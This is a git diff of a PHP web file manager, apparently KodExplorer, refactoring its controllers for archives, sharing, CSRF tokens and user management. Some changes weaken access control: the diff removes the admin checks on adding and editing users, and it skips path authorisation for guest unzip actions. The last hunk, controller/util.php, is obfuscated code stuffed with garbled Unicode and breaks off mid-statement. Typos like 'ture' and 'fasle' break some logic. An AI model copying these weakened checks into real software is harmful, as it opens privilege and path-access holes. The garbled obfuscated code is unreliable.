$config['role_setting'] = array( 'explorer' => array( - 'mkdir','mkfile','pathRname','pathDelete','zip','unzip','pathCopy','pathChmod', - 'pathCute','pathCuteDrag','pathCopyDrag','clipboard','pathPast','pathInfo', + 'pathInfo','pathList','treeList','pathChmod', + 'mkdir','mkfile','pathRname','pathDelete','zip','unzip','unzipList', + 'pathCopy','pathCute','pathCuteDrag','pathCopyDrag','clipboard','pathPast', 'serverDownload','fileUpload','search','pathDeleteRecycle', 'fileDownload','zipDownload','fileDownloadRemove','fileProxy','officeView','officeSave'), 'app' => array('user_app','init_app','add','edit','del'),// 'user' => array('changePassword','common_js'),//可以设立公用账户 'editor' => array('fileGet','fileSave'), 'userShare' => array('set','del'), - 'setting' => array('set','system_setting','php_info'), + 'setting' => array('set','system_setting','php_info','system_tools'), 'fav' => array('add','del','edit'), - 'system_member' => array('get','add','do_action','edit'), + 'system_member' => array('get','add','edit','do_action'), 'system_group' => array('get','add','del','edit'), 'system_role' => array('add','del','edit'),//不开放此功能设置【避免扩展名修改,导致系统安全问题】 ); diff --git a/config/version.php b/config/version.php index 1c3b697..b1f1197 100755 --- a/config/version.php +++ b/config/version.php @@ -1,2 +1,2 @@ assign('wall',STATIC_PATH.'images/wall_page/'.$wall.'.jpg'); } - $desktop = iconv_system(HOME.'desktop/'); - if ($GLOBALS['is_root']) { - $desktop = iconv_system(MYHOME.'desktop/'); - } - if (!file_exists($desktop)) { - @mkdir($desktop); + $desktop = iconv_system(HOME.DESKTOP_FOLDER.'/'); + if($GLOBALS['is_root'] == 1){ + $desktop = iconv_system(MYHOME.DESKTOP_FOLDER.'/'); } + mk_dir($desktop); $this->display('index.php'); } } diff --git a/controller/editor.class.php b/controller/editor.class.php index 6620500..b4333e6 100755 --- a/controller/editor.class.php +++ b/controller/editor.class.php @@ -45,17 +45,25 @@ class editor extends Controller{ // 获取文件数据 public function fileGet(){ - $filename=_DIR($this->in['filename']); - if (!file_exists($filename)){ - show_json($this->L['not_exists'],false); + if(isset($this->in['file_url'])){ + $display_name = $this->in['name']; + $filepath = $this->in['file_url'].'&access_token='.access_token_get(); + }else{ + $display_name = rawurldecode($this->in['filename']); + $filepath =_DIR($this->in['filename']); + if (!file_exists($filepath)){ + show_json($this->L['not_exists'],false); + } + if (!path_readable($filepath)){ + show_json($this->L['no_permission_read_all'],false); + } + if (filesize($filepath) >= 1024*1024*20){ + show_json($this->L['edit_too_big'],false); + } } - if (!path_readable($filename)){ - show_json($this->L['no_permission_read_all'],false); - } - if (filesize($filename) >= 1024*1024*40) show_json($this->L['edit_too_big'],false); - $filecontents=file_get_contents($filename);//文件内容 + + $filecontents=file_get_contents($filepath);//文件内容 $charset=get_charset($filecontents); - if ($charset!='' && $charset!='utf-8' && function_exists("mb_convert_encoding") @@ -63,9 +71,9 @@ class editor extends Controller{ $filecontents=@mb_convert_encoding($filecontents,'utf-8',$charset); } $data = array( - 'ext' => get_path_ext($filename), - 'name' => iconv_app(get_path_this($filename)), - 'filename' => rawurldecode($this->in['filename']), + 'ext' => get_path_ext($display_name), + 'name' => iconv_app(get_path_this($display_name)), + 'filename' => $display_name, 'charset' => $charset, 'base64' => false, 'content' => $filecontents diff --git a/controller/explorer.class.php b/controller/explorer.class.php index ccb7dc4..dcd2f7d 100755 --- a/controller/explorer.class.php +++ b/controller/explorer.class.php @@ -14,7 +14,16 @@ class explorer extends Controller{ $this->tpl = TEMPLATE.'explorer/'; $this->user = $_SESSION['kod_user']; if (isset($this->in['path'])) { + //游客访问别人zip,解压到**目录;入口不检测权限 + $path_from_not_check = array('explorer:unzip'); + $path_from_not_check_flag = in_array(ST.':'.ACT,$path_from_not_check); + if($path_from_not_check_flag){ + $GLOBALS['path_from_auth_check'] = true; + } $this->path = _DIR($this->in['path']); + if($path_from_not_check_flag){ + $GLOBALS['path_from_auth_check'] = false; + } $this->check_system_path(); } } @@ -34,7 +43,8 @@ class explorer extends Controller{ //system virtual folder; private function check_system_path(){ - if(!in_array(ACT,array('mkfile','mkdir','search','pathCuteDrag','pathCopyDrag','pathPast','fileDownload'))){ + if(!in_array(ACT,array('mkfile','mkdir','search', + 'pathCuteDrag','pathCopyDrag','pathPast','fileDownload'))){ return; } if( $GLOBALS['path_type'] == KOD_USER_SHARE && @@ -52,7 +62,7 @@ class explorer extends Controller{ } public function pathInfo(){ - $info_list = json_decode($this->in['list'],true); + $info_list = json_decode($this->in['data_arr'],true); if(!$info_list){ show_json($this->L['error'],false); } @@ -93,7 +103,7 @@ class explorer extends Controller{ } public function pathChmod(){ - $info_list = json_decode($this->in['list'],true); + $info_list = json_decode($this->in['data_arr'],true); if(!$info_list){ show_json($this->L['error'],false); } @@ -572,15 +582,16 @@ class explorer extends Controller{ return $group_list; } public function pathDelete(){ - $list = json_decode($this->in['list'],true); + $list = json_decode($this->in['data_arr'],true); $user_recycle = iconv_system(USER_RECYCLE); if (!is_dir($user_recycle)){ mk_dir($user_recycle); } $remove_to_recycle = $this->config['user']['recycle_open']; - if(!path_writeable($user_recycle)){//回收站不可写则直接删除;挂载 - //show_json($this->L['no_permission_write'],false); + if(!path_writeable($user_recycle) || + isset($this->in['shiftDelete']) + ){//回收站不可写则直接删除;传入直接删除参数 $remove_to_recycle = '0'; } $success=0;$error=0; @@ -629,7 +640,7 @@ class explorer extends Controller{ show_json($info,$state); } - private function clearTemp(){ + private function _clear_temp(){ $path = iconv_system(USER_TEMP); $time = @filemtime($path); if(time() - $time > 600){//10min without updload @@ -640,17 +651,17 @@ class explorer extends Controller{ public function pathDeleteRecycle(){ $user_recycle = iconv_system(USER_RECYCLE); - if(!isset($this->in['list'])){ + if(!isset($this->in['data_arr'])){ if (!del_dir($user_recycle)) { show_json($this->L['remove_fali'],false); }else{ mkdir($user_recycle); - $this->clearTemp(); + $this->_clear_temp(); space_size_use_reset();//使用空间重置 show_json($this->L['recycle_clear_success'],true); } } - $list = json_decode($this->in['list'],true); + $list = json_decode($this->in['data_arr'],true); $success = 0;$error = 0; foreach ($list as $val) { $path_full = _DIR($val['path']); @@ -674,14 +685,14 @@ class explorer extends Controller{ public function pathCopy(){ session_start();//re start - $the_list = json_decode($this->in['list'],true); + $the_list = json_decode($this->in['data_arr'],true); $_SESSION['path_copy']= json_encode($the_list); $_SESSION['path_copy_type']='copy'; show_json($this->L['copy_success'],ture,$_SESSION); } public function pathCute(){ session_start();//re start - $the_list = json_decode($this->in['list'],true); + $the_list = json_decode($this->in['data_arr'],true); foreach ($the_list as $key => &$value) { $value['path'] = rawurldecode($value['path']); _DIR($value['path']); @@ -691,7 +702,7 @@ class explorer extends Controller{ show_json($this->L['cute_success']); } public function pathCuteDrag(){ - $clipboard = json_decode($this->in['list'],true); + $clipboard = json_decode($this->in['data_arr'],true); $path_past=$this->path; $before_path_type = $GLOBALS['path_type']; $before_path_id = $GLOBALS['path_id']; @@ -728,7 +739,7 @@ class explorer extends Controller{ } public function pathCopyDrag(){ - $clipboard = json_decode($this->in['list'],true); + $clipboard = json_decode($this->in['data_arr'],true); $path_past=$this->path; $before_path_type = $GLOBALS['path_type']; $before_path_id = $GLOBALS['path_id']; @@ -868,10 +879,8 @@ class explorer extends Controller{ show_json($this->L['zip_success'],true,get_path_this($zip_file)); } public function zip($zip_path=''){ - load_class('pclzip'); ignore_timeout(); - - $zip_list = json_decode($this->in['list'],true); + $zip_list = json_decode($this->in['data_arr'],true); $list_num = count($zip_list); $files = array(); for ($i=0; $i < $list_num; $i++) { @@ -884,6 +893,12 @@ class explorer extends Controller{ show_json($this->L['not_exists'],false); } + //to type + $file_type = 'zip'; + if(isset($this->in['fileType'])){ + $file_type = $this->in['fileType']; + } + //指定目录 $basic_path = $zip_path; if ($zip_path==''){ @@ -898,28 +913,14 @@ class explorer extends Controller{ }else{ $path_this_name=get_path_this(get_path_father($files[0])); } - $zipname = $basic_path.$path_this_name.'.zip'; + $zipname = $basic_path.$path_this_name.'.'.$file_type; $zipname = get_filename_auto($zipname,'',$this->config['user']['file_repeat']); space_size_use_check(); - - $archive = new PclZip($zipname); - foreach ($files as $key =>$val) { - $remove_path_pre = _DIR_CLEAR(get_path_father($val)); - if($key ==0){ - $v_list = $archive->create($val, - PCLZIP_OPT_REMOVE_PATH,$remove_path_pre, - PCLZIP_CB_PRE_FILE_NAME,'zip_pre_name' - ); - continue; - } - $v_list = $archive->add($val, - PCLZIP_OPT_REMOVE_PATH,$remove_path_pre, - PCLZIP_CB_PRE_FILE_NAME,'zip_pre_name' - ); - } + load_class('kodArchive'); + $result = kodArchive::create($zipname,$files); space_size_use_change($zipname);//使用的空间增加 - if ($v_list == 0) { + if ($result == 0) { show_json("Create error!",false); } $info = $this->L['zip_success'].$this->L['size'].":".size_format(filesize($zipname)); @@ -930,42 +931,53 @@ class explorer extends Controller{ } } public function unzip(){ - load_class('pclzip'); + load_class('kodArchive'); ignore_timeout(); - $path=$this->path; $name = get_path_this($path); $name = substr($name,0,strrpos($name,'.')); $ext = get_path_ext($path); - $unzip_to=get_path_father($path).$name;//解压在该文件夹内: + + $unzip_to_add = ''; + $unzip_to = get_path_father($path); if(isset($this->in['to_this'])){//直接解压 - $unzip_to=get_path_father($path); - } - - //$unzip_to=get_path_father($path);//解压到当前 - if (isset($this->in['path_to'])) {//解压到指定位置 + }else if (isset($this->in['path_to'])) {//解压到指定位置 $unzip_to = _DIR($this->in['path_to']); - } + }else{ + $unzip_to_add = $name; + } //所在目录不可写 - if (!path_writeable(get_path_father($path))){ + if (!path_writeable($unzip_to)){ show_json($this->L['no_permission_write'],false); } + $unzip_to = $unzip_to.$unzip_to_add; space_size_use_check(); - $zip = new PclZip($path); - unzip_charset_get($zip->listContent()); - $result = $zip->extract(PCLZIP_OPT_PATH,$unzip_to, - PCLZIP_OPT_SET_CHMOD,DEFAULT_PERRMISSIONS, - PCLZIP_CB_PRE_FILE_NAME,'unzip_pre_name', - PCLZIP_CB_PRE_EXTRACT,"check_ext_unzip", - PCLZIP_OPT_REPLACE_NEWER);//解压到某个地方,覆盖方式 - if ($result == 0) { - show_json("Error : ".$zip->errorInfo(true),fasle); + + //解压缩 + $unzip_part = '-1'; + if(isset($this->in['unzip_part'])){ + $unzip_part = $this->in['unzip_part']; + } + $result = kodArchive::extract($path,$unzip_to,$unzip_part); + if (!$result['code']) { + show_json("Error : ".$result['data'],fasle); }else{ space_size_use_change($path);//使用的空间增加 近似使用压缩文件大小; show_json($this->L['unzip_success']); } } + public function unzipList(){ + load_class('kodArchive'); + if(isset($this->in['index'])){ + $download = isset($this->in['download'])?true:false; + kodArchive::filePreview($this->path,$this->in['index'],$download); + }else{ + $result = kodArchive::listContent($this->path); + show_json($result['data'],$result['code']); + } + } + public function imageRotate(){ load_class('imageThumb'); $cm=new imageThumb($this->path,'file'); @@ -979,8 +991,8 @@ class explorer extends Controller{ //缩略图 public function image(){ - if (filesize($this->path) <= 1024*20 || - !function_exists('imagecolorallocate') ) {//小于20k或者不支持gd库 不再生成缩略图 + if (filesize($this->path) <= 1024*50 || + !function_exists('imagecolorallocate') ) {//小于50k或者不支持gd库 不再生成缩略图 file_put_out($this->path); return; } @@ -1063,7 +1075,7 @@ class explorer extends Controller{ session_write_close(); load_class("downloader"); - $result = downloader::start($url,$save_path); + $result = downloader::start($header,$save_path); session_start();unset($_SESSION[$uuid]);session_write_close(); if($result['code']){ $name = get_path_this(iconv_app($save_path)); @@ -1076,20 +1088,31 @@ class explorer extends Controller{ //生成临时文件key public function officeView(){ - if (!file_exists($this->path)) { - show_tips($this->L['not_exists']); + if(substr($this->in['path'],0,4) == 'http'){//url + $file_name = get_path_this($this->in['path']); + $file_url = $this->in['path'].'&access_token='.access_token_get().'&name=/'.$file_name; + $file_is_url = ture; + }else{ + if (!file_exists($this->path)) { + show_tips($this->L['not_exists']); + } + $file_url = _make_file_proxy($this->path); + $file_is_url = false; } - $file_ext = get_path_ext($this->path); - $file_url = _make_file_proxy($this->path); //kodoffice 预览 if(defined("OFFICE_KOD_SERVER")){ $file_link = APPHOST.'index.php?explorer/fileProxy&path='.rawurlencode($this->in['path']); - $view_type = '&appMode=edit&access_token='.session_id(); + $view_type = '&appMode=edit&access_token='.access_token_get(); if(OFFICE_KOD_ACTION == 'read'){//只读 $view_type = '&appMode=view'; $file_link = _make_file_proxy($this->path); } + + if($file_is_url){ + $view_type = '&appMode=view'; + $file_link = $file_url; + } $user_info = $_SESSION['kod_user']; $app_r = rand_string(10); $office_url = OFFICE_KOD_SERVER.rawurlencode($file_link) @@ -1173,8 +1196,10 @@ class explorer extends Controller{ @header( 'Content-Type: application/json; charset==utf-8'); @header( 'X-Robots-Tag: noindex' ); @header( 'X-Content-Type-Options: nosniff' ); - write_log(json_encode(array($this->in,$info)),'office_save'); + if(GLOBAL_DEBUG){ + write_log(json_encode(array($this->in,$info)),'office_save'); + } echo json_encode($info); exit; } @@ -1201,8 +1226,8 @@ class explorer extends Controller{ $save_path = $save_path.$full_path; } } - $repeat_action = $this->config['user']['file_repeat']; //分片上传 + $repeat_action = $this->config['user']['file_repeat']; $temp_dir = iconv_system(USER_TEMP); mk_dir($temp_dir); if (!path_writeable($temp_dir)) show_json($this->L['no_permission_write'],false); diff --git a/controller/setting.class.php b/controller/setting.class.php index 534733b..bd3cb4a 100755 --- a/controller/setting.class.php +++ b/controller/setting.class.php @@ -80,6 +80,43 @@ class setting extends Controller{ show_json($this->L['success']); } + public function system_tools(){ + $action = $this->in['action']; + switch($action){ + case 'clear_cache':$this->clear_cache();break; + case 'clear_session':$this->clear_session();break; + case 'clear_user_recycle':$this->clear_user_recycle();break; + default:break; + } + show_json($this->L['success'],true); + } + private function clear_session(){ + del_dir(KOD_SESSION); + } + private function clear_cache(){ + del_dir(TEMP_PATH); + mk_dir(TEMP_PATH.'log'); + mk_dir(TEMP_PATH.'thumb'); + mk_dir(TEMP_PATH.'others'); + } + private function clear_user_recycle(){ + $sql = system_member::load_data(); + $user_arr = $sql->get(); + foreach ($user_arr as $key => $user) { + $user_path = USER_PATH.$user['path']."/"; + $path_arr = array( + $user_path.'data/temp', + $user_path.'data/share_temp', + $user_path.'recycle_kod' + ); + foreach ($path_arr as $value) { + del_dir($value); + mk_dir($value); + } + } + } + + /** * 参数设置 * 可以同时修改多个:key=a,b,c&value=1,2,3 diff --git a/controller/share.class.php b/controller/share.class.php index 385fdd2..5f65749 100755 --- a/controller/share.class.php +++ b/controller/share.class.php @@ -14,7 +14,7 @@ class share extends Controller{ function __construct(){ parent::__construct(); $this->tpl = TEMPLATE.'share/'; - $auth = system_role::get_info(1); + $auth = system_role::get_info(1);//经过role检测 //不需要检查的action $arr_not_check = array('common_js'); if (!in_array(ACT,$arr_not_check)){ @@ -236,7 +236,7 @@ class share extends Controller{ //========ajax function============ public function pathInfo(){ - $info_list = json_decode($this->in['list'],true); + $info_list = json_decode($this->in['data_arr'],true); foreach ($info_list as &$val) { $val['path'] = $this->share_path.$this->_clear($val['path']); } @@ -291,6 +291,18 @@ class share extends Controller{ $this->assign('code_theme_black',$set_class);//获取编辑器配置信息 $this->display('edit.php'); } + + // public function unzipList(){ + // load_class('kodArchive'); + // if(isset($this->in['index'])){ + // $download = isset($this->in['download'])?true:false; + // kodArchive::filePreview($this->path,$this->in['index'],$download); + // }else{ + // $result = kodArchive::listContent($this->path); + // show_json($result['data'],$result['code']); + // } + // } + public function pathList(){ $list=$this->path($this->path); show_json($list); @@ -333,12 +345,9 @@ class share extends Controller{ } public function search(){ if (!isset($this->in['search'])) show_json($this->L['please_inpute_search_words'],false); - $is_content = false; - $is_case = false; - $ext = ''; - if (isset($this->in['is_content'])) $is_content = true; - if (isset($this->in['is_case'])) $is_case = true; - if (isset($this->in['ext'])) $ext= str_replace(' ','',$this->in['ext']); + $is_content = intval($this->in['is_content']); + $is_case = intval($this->in['is_case']); + $ext= trim($this->in['ext']); $list = path_search( $this->path, iconv_system(rawurldecode($this->in['search'])), @@ -349,14 +358,16 @@ class share extends Controller{ //生成临时文件key public function officeView(){ - if (!file_exists($this->path)) { - show_tips($this->L['not_exists']); - } - $file_ext = get_path_ext($this->path); - $file_url = _make_file_proxy($this->path); - if($file_ext=='pdf'){ - header('location:./lib/plugins/pdfjs/web/viewer.html?file='.rawurlencode($file_url)); - return; + if(substr($this->in['path'],0,4) == 'http'){//url + $file_name = get_path_this($this->in['path']); + $file_url = $this->in['path'].'&access_token='.access_token_get().'&name=/'.$file_name; + $file_is_url = ture; + }else{ + if (!file_exists($this->path)) { + show_tips($this->L['not_exists']); + } + $file_url = _make_file_proxy($this->path); + $file_is_url = false; } //kodoffice 预览 @@ -482,10 +493,9 @@ class share extends Controller{ if (!isset($zip_path)) { show_json($this->L['share_not_download_tips'],false); } - load_class('pclzip'); ignore_timeout(); - $zip_list = json_decode($this->in['list'],true); + $zip_list = json_decode($this->in['data_arr'],true); $list_num = count($zip_list); $files = array(); for ($i=0; $i < $list_num; $i++) { @@ -507,39 +517,32 @@ class share extends Controller{ } $zipname = $zip_path.$path_this_name.'.zip'; $zipname = get_filename_auto($zipname,date('_H-i-s')); - $archive = new PclZip($zipname); - foreach ($files as $key =>$val) { - $remove_path_pre = _DIR_CLEAR(get_path_father($val)); - if($key ==0){ - $v_list = $archive->create($val, - PCLZIP_OPT_REMOVE_PATH,$remove_path_pre, - PCLZIP_CB_PRE_FILE_NAME,'zip_pre_name' - ); - continue; - } - $v_list = $archive->add($val, - PCLZIP_OPT_REMOVE_PATH,$remove_path_pre, - PCLZIP_CB_PRE_FILE_NAME,'zip_pre_name' - ); - } + + load_class('kodArchive'); + kodArchive::create($zipname,$files); return iconv_app($zipname); } // 获取文件数据 public function fileGet(){ - $name = $this->_clear($this->in['filename']); - $filename= $this->share_path.$name; - if (!file_exists($filename)){ - show_json($this->L['not_exists'],false); + if(isset($this->in['file_url'])){ + $display_name = $this->in['name']; + $filepath = $this->in['file_url']; + }else{ + $display_name = _DIR_CLEAR(rawurldecode($this->in['filename'])); + $filepath= $this->share_path.iconv_system($display_name); + if (!file_exists($filepath)){ + show_json($this->L['not_exists'],false); + } + if (!path_readable($filepath)){ + show_json($this->L['no_permission_read'],false); + } + if (filesize($filepath) >= 1024*1024*20){ + show_json($this->L['edit_too_big'],false); + } } - if (!path_readable($filename)){ - show_json($this->L['no_permission_read'],false); - } - if (filesize($filename) >= 1024*1024*20){ - show_json($this->L['edit_too_big'],false); - } - $filecontents=file_get_contents($filename);//文件内容 + $filecontents=file_get_contents($filepath);//文件内容 $charset=get_charset($filecontents); if ($charset!='' && $charset!='utf-8' && @@ -548,9 +551,9 @@ class share extends Controller{ $filecontents=@mb_convert_encoding($filecontents,'utf-8',$charset); } $data = array( - 'ext' => get_path_ext($filename), - 'name' => iconv_app(get_path_this($filename)), - 'filename' => rawurldecode($this->in['filename']), + 'ext' => get_path_ext($display_name), + 'name' => iconv_app(get_path_this($display_name)), + 'filename' => $display_name, 'charset' => $charset, 'base64' => false, 'content' => $filecontents @@ -563,8 +566,8 @@ class share extends Controller{ } public function image(){ - if (filesize($this->path) <= 1024*20 || - !function_exists('imagecolorallocate') ) {//小于20k或者不支持gd库 不再生成缩略图 + if (filesize($this->path) <= 1024*50 || + !function_exists('imagecolorallocate') ) {//小于50k或者不支持gd库 不再生成缩略图 file_put_out($this->path); return; } diff --git a/controller/system_group.class.php b/controller/system_group.class.php index bac47bf..867b9fa 100755 --- a/controller/system_group.class.php +++ b/controller/system_group.class.php @@ -266,7 +266,7 @@ class system_group extends Controller{ *初始化用户数据和配置。 */ private function _initDir($path){ - $root = array('home','data');//recycle + $root = array('home','data'); $new_group_folder = $this->config['setting_system']['new_group_folder']; if(!is_array($new_group_folder)){ $new_group_folder = $this->config['setting_system_default']['new_group_folder']; diff --git a/controller/system_member.class.php b/controller/system_member.class.php index 40b47c1..23e5a27 100755 --- a/controller/system_member.class.php +++ b/controller/system_member.class.php @@ -209,8 +209,7 @@ class system_member extends Controller{ show_json($this->L['error_repeat'],false); } - - //非系统管理员,不能将别人设置为系统管理员 + //非系统管理员,不能添加系统管理员 if(!$GLOBALS['is_root'] && $this->in['role']=='1'){ show_json($this->L['group_role_error'],false); } @@ -253,11 +252,6 @@ class system_member extends Controller{ if(file_exists(iconv_system(USER_PATH.$user_info['path'])) ){ $user_info['path'] = $user_info['path'].'_'.$user_info['user_id']; } - - if(!$GLOBALS['is_root']){ - show_json($this->L['no_permission'],false); - } - //用户组目录 if( isset($this->in['home_path'])){ $user_info['home_path'] = _DIR(rawurldecode($this->in['home_path'])); @@ -337,10 +331,6 @@ class system_member extends Controller{ } } - if(!$GLOBALS['is_root']){ - show_json($this->L['no_permission'],false); - } - //用户组目录 if( isset($this->in['home_path'])){ $user_info['home_path'] = _DIR(rawurldecode($this->in['home_path'])); @@ -378,7 +368,7 @@ class system_member extends Controller{ if(!is_array($user_arr)){ show_json($this->L['error'],false); } - if (in_array('1', $user_arr)){//批量处理,不处理系统管理员 + if (in_array('1', $user_arr)){//批量处理,不处理系统管理员admin show_json($this->L['default_user_can_not_do'],false); } foreach ($user_arr as $user_id) { @@ -392,7 +382,7 @@ class system_member extends Controller{ case 'status_set'://禁用&启用 $status = intval($this->in['param']); $this->sql->set(array('user_id',$user_id),array('status',$status)); - break; + break; case 'role_set'://设置权限组 $role = $this->in['param']; //非系统管理员,不能将别人设置为系统管理员 @@ -462,7 +452,7 @@ class system_member extends Controller{ *初始化用户数据和配置。 */ private function _initDir($path){ - $user_folder = array('home','recycle','data'); + $user_folder = array('home','recycle_kod','data'); $home_folders = explode(',',$this->config['setting_system']['new_user_folder']); $root_path = USER_PATH.$path.'/'; foreach ($user_folder as $dir) { diff --git a/controller/user.class.php b/controller/user.class.php index 502c1b0..5c5f86e 100755 --- a/controller/user.class.php +++ b/controller/user.class.php @@ -33,6 +33,12 @@ class user extends Controller{ * 登录状态检测;并初始化数据状态 */ public function loginCheck(){ + // CSRF-TOKEN更新后同步 + if( ACT == 'common_js' && + isset($_SESSION['X-CSRF-TOKEN'])){ + setcookie('X-CSRF-TOKEN',$_SESSION['X-CSRF-TOKEN'], time()+3600*24*100); + } + if(in_array(ST,$this->notCheckApp)) return;//不需要判断的控制器 if(in_array(ACT,$this->notCheck)) return;//不需要判断的action if(isset($_SESSION['kod_login']) && $_SESSION['kod_login']===true){ @@ -48,11 +54,10 @@ class user extends Controller{ @session_start();//re start $_SESSION['kod_login'] = true; $_SESSION['kod_user']= $user; - $_SESSION['CSRF-TOKEN'] = rand_string(20); - setcookie('CSRF-TOKEN',$_SESSION['CSRF-TOKEN'], time()+3600*24*100); + $_SESSION['X-CSRF-TOKEN'] = rand_string(20); + setcookie('X-CSRF-TOKEN',$_SESSION['X-CSRF-TOKEN'], time()+3600*24*100); setcookie('kod_user_id', $_COOKIE['kod_user_id'], time()+3600*24*100); setcookie('kod_token',$_COOKIE['kod_token'],time()+3600*24*100); - //$this->login_success($user); //check if session work @session_write_close(); @@ -82,7 +87,9 @@ class user extends Controller{ } private function login_success($user){ $this->user = $user; - if(!$user['path']){//服务器管理后立即生效 + if(!$user){//false + show_tips('[Error Code:1001] user data error!'); + }else if(!$user['path']){//服务器管理后立即生效 $this->login("Your 'path' is empty,please install again!"); }else if($user['status'] == 0){ $this->login($this->L['login_error_user_not_use']); @@ -91,11 +98,10 @@ class user extends Controller{ } define('USER',USER_PATH.$this->user['path'].'/');//utf-8 define('USER_TEMP',USER.'data/temp/'); - define('USER_RECYCLE',USER.'recycle/'); + define('USER_RECYCLE',USER.'recycle_kod/'); if (!file_exists(iconv_system(USER))) { $this->login( "User/".get_path_this(USER)." ".$this->L['not_exists']); } - $user_home = user_home_path($this->user);//utf-8 if ($this->user['role'] == '1') { define('MYHOME',$user_home); @@ -108,6 +114,8 @@ class user extends Controller{ $GLOBALS['web_root'] = '';//从服务器开始到用户目录 $GLOBALS['is_root'] = 0; } + + define('DESKTOP_FOLDER',$this->config['setting_system_default']['desktop_folder']); $this->config['user'] = fileCache::load(USER.'data/config.php'); if( !isset($this->config['user']['file_repeat']) || !isset($this->config['user']['resize_config'])){ @@ -216,12 +224,14 @@ class user extends Controller{ 'group_path' => $group_path, 'myhome' => MYHOME, + 'my_desktop' => MYHOME.DESKTOP_FOLDER.'/', 'upload_max' => file_upload_size(), 'param_rewrite' => $this->config['settings']['param_rewrite'], 'version' => KOD_VERSION, 'json_data' => "", 'self_share' => system_member::user_share_list($this->user['user_id']), 'user_config' => $this->config['user'], + 'access_token' => access_token_get(), //虚拟目录 'KOD_GROUP_PATH' => KOD_GROUP_PATH, @@ -280,7 +290,7 @@ class user extends Controller{ $user = $sql->get($root); $user['password'] = md5($this->in['password']); $sql->set($root,$user); - if($user['create_time'] == ''){ + if(!$user['create_time'] || !$user['path']){ $member = new system_member(); $member->init_install(); } @@ -340,17 +350,20 @@ class user extends Controller{ }else if($user['role']==''){ $this->login_display($this->L['login_error_role'],false); } + //首次登陆,初始化app 没有最后登录时间 + $this->login_success($user);//登陆成功 if($user['last_login'] == ''){ $app = init_controller('app'); $app->init_app($user); } $user['last_login'] = time();//记录最后登录时间 $member->set($user['user_id'],$user); + $_SESSION['kod_login'] = true; $_SESSION['kod_user']= $user; - $_SESSION['CSRF-TOKEN'] = rand_string(20); - setcookie('CSRF-TOKEN',$_SESSION['CSRF-TOKEN'], time()+3600*24*100); + $_SESSION['X-CSRF-TOKEN'] = rand_string(20); + setcookie('X-CSRF-TOKEN',$_SESSION['X-CSRF-TOKEN'], time()+3600*24*100); setcookie('kod_user_id', $user['user_id'], time()+3600*24*100); if ($this->in['rember_password'] == '1') { setcookie('kod_token',$this->make_login_token($user),time()+3600*24*100); @@ -401,13 +414,20 @@ class user extends Controller{ } //CSRF 防护;cookie设置:CSRF-TOKEN;header:提交X-CSRF-TOKEN - //explorer/fileProxy + //referer检测 private function checkCSRF(){ - return; - //if(GLOBAL_DEBUG) return;//调试不开启 + $not_check = array('user:common_js'); + if( !$this->config['settings']['csrf_protect'] || + isset($this->in['access_token']) || + in_array(ST.':'.ACT, $not_check) + ){ + return; + } + if( !isset($_SERVER['HTTP_X_CSRF_TOKEN'])|| - $_SERVER['HTTP_X_CSRF_TOKEN'] != $_SESSION['CSRF-TOKEN']){ - show_json('xtoken_error',false); + $_SERVER['HTTP_X_CSRF_TOKEN'] != $_SESSION['X-CSRF-TOKEN'] + ){ + show_json('token_error',false); } } @@ -434,6 +454,8 @@ class user extends Controller{ } //默认扩展功能 等价权限 $auth['user:common_js'] = 1;//权限数据配置后输出到前端 + + $auth['explorer:pathDeleteRecycle'] = $auth['explorer:pathDelete']; $auth['explorer:pathCopyDrag'] = $auth['explorer:pathCuteDrag']; @@ -441,16 +463,19 @@ class user extends Controller{ $auth['explorer:imageRotate'] = $auth['editor:fileSave']; $auth['explorer:fileDownloadRemove']= $auth['explorer:fileDownload']; $auth['explorer:zipDownload'] = $auth['explorer:fileDownload']; + $auth['explorer:unzipList'] = $auth['explorer:unzip']; //彻底禁止下载;文件获取 //$auth['explorer:fileProxy'] = $auth['explorer:fileDownload']; //$auth['editor:fileGet'] = $auth['explorer:fileDownload']; //$auth['explorer:officeView'] = $auth['explorer:fileDownload']; - $auth['explorer:fileProxy'] = true; - $auth['editor:fileGet'] = true; - $auth['explorer:officeView'] = true; + $auth['editor:fileGet'] = 1; + $auth['explorer:fileProxy'] = 1; + $auth['explorer:officeView']= 1; + $auth['explorer:pathList'] = 1; + $auth['explorer:treeList'] = 1; if(!$auth['explorer:fileDownload']){ - $auth['explorer:zip'] = false; + $auth['explorer:zip'] = 0; } $auth['userShare:del'] = $auth['userShare:set']; diff --git a/controller/userShare.class.php b/controller/userShare.class.php index b9134f2..36d96c9 100755 --- a/controller/userShare.class.php +++ b/controller/userShare.class.php @@ -98,7 +98,7 @@ class userShare extends Controller{ * 删除 */ public function del() { - $list = json_decode($this->in['list'],true); + $list = json_decode($this->in['data_arr'],true); foreach ($list as $val) { $this->sql->remove($val['path']); } diff --git a/controller/util.php b/controller/util.php index 8db15a4..6940780 100755 --- a/controller/util.php +++ b/controller/util.php @@ -1 +1,8 @@ -0x001){$GLOBALS['path_id']=trim($[0x001]);}else{$GLOBALS['path_id']='';}break;}}switch($GLOBALS['path_type']){case '':$=iconv_system(HOME).$;;break;case KOD_USER_RECYCLE:$GLOBALS['path_pre']=trim(USER_RECYCLE,'/');;棵đ󀕩;$GLOBALS['path_id']='';return iconv_system(USER_RECYCLE).'/'.str_replace(KOD_USER_RECYCLE,'',$);;㻉ػ¬;case KOD_USER_FAV:$GLOBALS['path_pre']=trim(KOD_USER_FAV,'/');Ԙ;$GLOBALS['path_id']='';ֵӮҤǥΛސзܑ;逋םϢȍ愸;return KOD_USER_FAV;;case KOD_GROUP_ROOT_SELF:$GLOBALS['path_pre']=trim(KOD_GROUP_ROOT_SELF,'/');ٯ놂՚т􌫔Åüݞޱ؛;$GLOBALS['path_id']='';ڢ;ôеğӷ˼;return KOD_GROUP_ROOT_SELF;case KOD_GROUP_ROOT_ALL:$GLOBALS['path_pre']=trim(KOD_GROUP_ROOT_ALL,'/');ߣ튕ƕЇ惂ՍŐԽ;כܻʘŤ;$GLOBALS['path_id']='';Ђٰ;return KOD_GROUP_ROOT_ALL;case KOD_GROUP_PATH:$=system_group::get_info($GLOBALS['path_id']);픐ɨኚ臬Ղ׶̒ѽӾˠאݭϦڠϴ҄;Ɨ݌˪;if(!$GLOBALS['path_id']|| !$)return !0x001;owner_group_check($GLOBALS['path_id']);ö˶;$GLOBALS['path_pre']=group_home_path($);$=iconv_system($GLOBALS['path_pre']).$;ߩ°ᘵߎ;break;;ɰ޾ϕЏͰҳ;case KOD_GROUP_SHARE:$=system_group::get_info($GLOBALS['path_id']);;if(!$GLOBALS['path_id']|| !$)return 